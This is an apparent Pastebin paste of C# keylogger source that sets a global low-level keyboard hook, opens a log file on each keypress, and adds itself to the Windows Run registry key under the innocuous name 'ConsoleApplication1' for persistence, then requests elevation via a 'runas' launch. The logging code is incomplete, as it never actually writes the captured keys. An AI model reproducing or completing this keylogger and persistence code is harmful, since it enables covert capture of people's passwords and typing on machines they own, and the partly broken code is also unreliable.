Advertisement
Stromeczik

registry

Oct 17th, 2016
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.91 KB | None | 0 0
  1. using System;
  2. using Microsoft.Win32;
  3. using System.Collections.Generic;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Threading.Tasks;
  7. using System.Runtime.InteropServices;
  8. using System.Threading;
  9. using System.Windows.Forms;
  10. using System.IO;
  11. using System.Diagnostics;
  12.  
  13.  
  14. namespace keylogger
  15. {
  16.     public class Program
  17.     {
  18.  
  19.         private const int WH_KEYBOARD_LL = 13;
  20.         private const int WM_KEYDOWN = 0x0100;
  21.         private static LowLevelKeyboardProc _proc = HookCallBack;
  22.         private static IntPtr _hookID = IntPtr.Zero;
  23.  
  24.         static void Main()
  25.         {
  26.             Prog.RunRegistry();
  27.  
  28.             _hookID = SetHook(_proc);
  29.             Application.Run();
  30.             UnhookWindowsHookEx(_hookID);
  31.         }
  32.  
  33.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  34.         private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  35.  
  36.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  37.         [return: MarshalAs(UnmanagedType.Bool)]
  38.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  39.  
  40.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  41.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
  42.  
  43.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  44.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  45.  
  46.         private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
  47.  
  48.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  49.         {
  50.             using (Process curProcess = Process.GetCurrentProcess())
  51.             using (ProcessModule curModule = curProcess.MainModule)
  52.             {
  53.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
  54.             }
  55.         }
  56.  
  57.         private static IntPtr HookCallBack(int nCode, IntPtr wParam, IntPtr lParam)
  58.         {
  59.             if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  60.             {
  61.                 int vkCode = Marshal.ReadInt32(lParam);
  62.                 //Console.WriteLine((Keys)vkCode);
  63.                 StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
  64.                 sw.Close();
  65.             }
  66.  
  67.             return CallNextHookEx(_hookID, nCode, wParam, lParam);
  68.         }
  69.     }
  70.  
  71.  
  72.     public class Prog
  73.     {
  74.         public static void RunRegistry()
  75.         {
  76.             var exPath = Application.ExecutablePath;
  77.             var reg = Registry.CurrentUser.GetValue("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ConsoleApplication1", exPath);
  78.  
  79.             if (reg != null)
  80.             {
  81.                 var Reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  82.  
  83.                 if (Reg != null)
  84.                 {
  85.                     var path = Reg.GetValue("ConsoleApplication1", exPath).ToString();
  86.                     var res = path.Equals("\"" + exPath + "\"", StringComparison.Ordinal);
  87.                     Reg.SetValue("ConsoleApplication1", "\"" + Application.ExecutablePath + "\"");
  88.  
  89.                 }
  90.                 Reg.Close();
  91.             }
  92.             if (reg == null)
  93.             {
  94.                 var add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  95.                 if (add == null)
  96.                 {
  97.                     return;
  98.                 }
  99.                 add.SetValue("ConsoleApplication1", "\"" + Application.ExecutablePath + "\"");
  100.                 add.Close();
  101.  
  102.  
  103.                
  104.             }
  105.             var info = new ProcessStartInfo(@"C:\Windows\System32\notepad.exe")
  106.             {
  107.                 UseShellExecute = true,
  108.                 Verb = "runas"
  109.             };
  110.             Process.Start(info);
  111.         }
  112.     }
  113. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement